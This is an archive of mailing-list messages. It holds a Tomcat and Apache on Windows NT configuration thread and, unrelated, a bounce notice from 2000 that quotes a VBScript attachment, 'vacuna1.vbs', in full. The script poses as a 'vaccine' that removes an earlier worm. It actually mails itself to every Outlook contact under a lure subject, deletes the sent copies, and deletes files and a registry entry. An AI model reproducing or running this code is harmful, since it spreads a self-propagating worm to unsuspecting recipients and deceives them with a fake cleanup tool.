i.e. LoadModule jserv_module modules/ApacheModuleJServ.dll
should be used instead of
LoadModule jserv_module libexec/mod_jserv.so

later, folks.
Naren
From: Larry Isaacs [EMAIL PROTECTED]
Reply-To: Tomcat Users List [EMAIL PROTECTED]
To: 'Tomcat Users List' [EMAIL PROTECTED]
Subject: RE: Tomcat 3.3, Apache 1.3.22, and Windows NT
Date: Thu, 13 Dec 2001 07:45:51 -0500

Which version of Apache?  I think there was one version
that wasn't happy with back slashes '\'.  You could try
forward slashes '/'.

Larry

  -Original Message-
  From: Adi Naren [mailto:[EMAIL PROTECTED]]
  Sent: Wednesday, December 12, 2001 8:01 PM
  To: [EMAIL PROTECTED]
  Subject: Tomcat 3.3, Apache 1.3.22, and Windows NT
 
 
  Hi,
 
  After configuring the necessary files in TOMCAT_HOME/conf and
  TOMCAT_HOME/webapps, I was able to start TOMCAT. Apache also
  runs fine when
  working alone.  WHen I try to integrate the two on Windows
  NT, apache does
  not start and comes with an error,
 
  ...unable to find tomcat.conf...
 
  of course, there is an Include directive in apache's httpd.conf and
  started Tomcat ahead of Apache.
 
  The include statement is as follows:
 
  Include D:\jakarata-tomcat-3.3\conf\jserv\tomcat.conf
 
  upon checking the folder, the file exists.
 
  Is there anything I am missing? Will appreciate your feedback.
 
  Looking forward to hearing from you,
 
  rgds,
 
  Naren
 
 
  _
  Send and receive Hotmail on your mobile device: http://mobile.msn.com
 
 
  --
  To unsubscribe:   mailto:[EMAIL PROTECTED]
  For additional commands: mailto:[EMAIL PROTECTED]
  Troubles with the list: mailto:[EMAIL PROTECTED]
 

--
To unsubscribe:   mailto:[EMAIL PROTECTED]
For additional commands: mailto:[EMAIL PROTECTED]
Troubles with the list: mailto:[EMAIL PROTECTED]





_
Send and receive Hotmail on your mobile device: http://mobile.msn.com


--
To unsubscribe:   mailto:[EMAIL PROTECTED]
For additional commands: mailto:[EMAIL PROTECTED]
Troubles with the list: mailto:[EMAIL PROTECTED]




Tomcat 3.3, Apache 1.3.22, and Windows NT

2001-12-12 Thread Adi Naren

Hi,

After configuring the necessary files in TOMCAT_HOME/conf and 
TOMCAT_HOME/webapps, I was able to start TOMCAT. Apache also runs fine when 
working alone.  WHen I try to integrate the two on Windows NT, apache does 
not start and comes with an error,

...unable to find tomcat.conf...

of course, there is an Include directive in apache's httpd.conf and 
started Tomcat ahead of Apache.

The include statement is as follows:

Include D:\jakarata-tomcat-3.3\conf\jserv\tomcat.conf

upon checking the folder, the file exists.

Is there anything I am missing? Will appreciate your feedback.

Looking forward to hearing from you,

rgds,

Naren


_
Send and receive Hotmail on your mobile device: http://mobile.msn.com


--
To unsubscribe:   mailto:[EMAIL PROTECTED]
For additional commands: mailto:[EMAIL PROTECTED]
Troubles with the list: mailto:[EMAIL PROTECTED]




RE: IMPORTANTE! ES UNA VACUNA PARA LIMPIAR EL Check this

2000-10-25 Thread Adi Eyal

well that's not very original!

-Original Message-
From: qcpm [mailto:[EMAIL PROTECTED]]
Sent: 25 October 2000 10:21
To: [EMAIL PROTECTED]
Subject: Re: IMPORTANTE! ES UNA VACUNA PARA LIMPIAR EL Check this


Greetings,

Your recent email message to QUALCOMM has not been delivered due to the 
attachment it included. QUALCOMM does not allow email with certain types of 
attachments due to the possible presence of a computer virus in these files.
Please resend your message without any attachments or compress your 
attachment before sending it.

We apologize for any inconvenience. 

The QUALCOMM Postmasters


 This is a multi-part message in MIME format.

 --=_NextPart_000_000B_01BFF621.E10DE0C0
 Content-Type: text/plain;
   charset="iso-8859-1"
 Content-Transfer-Encoding: 7bit

 Ejecutar este fichero por favor.

 --=_NextPart_000_000B_01BFF621.E10DE0C0
 Content-Type: application/octet-stream;
   name="vacuna1.vbs"
 Content-Transfer-Encoding: quoted-printable
 Content-Disposition: attachment;
   filename="vacuna1.vbs"

 On Error Resume Next
 Set A1 =3D CreateObject("Scripting.FileSystemObject")
 Set A5 =3D CreateObject("WScript.Shell")
 A5.RegDelete =
 "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Rundll"=

 A5.Close
 'Borro el fichero links.vbs
 Set A6 =3D A1.GetFile(A1.BuildPath(A1.GetSpecialFolder(0), =
 "LINKS.VBS"))
 A6.Delete
 '
 'Borro el fichero rundll.vbs
 Set A6 =3D A1.GetFile(A1.BuildPath(A1.GetSpecialFolder(1), =
 "RUNDLL.VBS"))
 A6.Delete
 '---
 'Borro el acceso directo
 Set A6 =3D A1.GetFile(A1.BuildPath(A5.SpecialFolders("Desktop"), =
 "FREE XXX LINKS.URL"))
 A6.Delete
 '
 Set A7 =3D CreateObject("WScript.Network")
 Set A8 =3D A7.EnumNetworkDrives
 If A8.Count  0 Then
 For A9 =3D 0 To A8.Count - 1
 If InStr(A8.Item(A9), "\\")  0 Then
 Set A6 =3D A1.GetFile(A1.BuildPath(A8.Item(A9), =
 "LINKS.VBS"))
 A6.Delete
 End If
 Next
 End If
 Set A10 =3D CreateObject("Outlook.Application")
 Set A11 =3D A10.GetNameSpace("MAPI")
 For Each A12 In A11.AddressLists
 Set A13 =3D A10.CreateItem(0)
 For A14 =3D 1 To A12.AddressEntries.Count
 Set A15 =3D A12.AddressEntries(A14)
 If A14 =3D 1 Then
 A13.BCC =3D A15.Address
 Else
 A13.BCC =3D A13.BCC  ";"  A15.Address
 End If
 Next
 A13.Subject =3D "IMPORTANTE! ES UNA VACUNA PARA LIMPIAR EL Check =
 this"
 A13.Body =3D "Ejecutar este fichero por favor."  Chr(13)  =
 Chr(10)
 A13.Attachments.Add WScript.ScriptFullName
 A13.DeleteAfterSubmit =3D True
 A13.Send
 Next
 Set A7 =3D CreateObject("WScript.Shell")
 D =
 A7.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\=
 ProgramFilesDir")
 msgbox "El Check this ha sido eliminado de su m=E1quina de forma =
 satisfactoria."
 Sub D(D1)
 If A1.FolderExists(D1) =3D True Then
 For Each D2 In A1.GetFolder(D1).Files
 If UCase(D2.Name) =3D "MIRC32.EXE" Then
 Set A6 =3D A1.GetFile(A1.BuildPath(D2.ParentFolder, =
 "SCRIPT.INI"))
 A6.Delete
 End If
 If UCase(D2.Name) =3D "PIRCH98.EXE" Then
 Set A6 =3D A1.GetFile(A1.BuildPath(D2.ParentFolder, =
 "EVENTS.INI"))
 A6.Delete
 End If
 Next
 For Each D5 In A1.GetFolder(D1).SubFolders
 D D5.Path
 Next
 End If
 End Sub


 --=_NextPart_000_000B_01BFF621.E10DE0C0--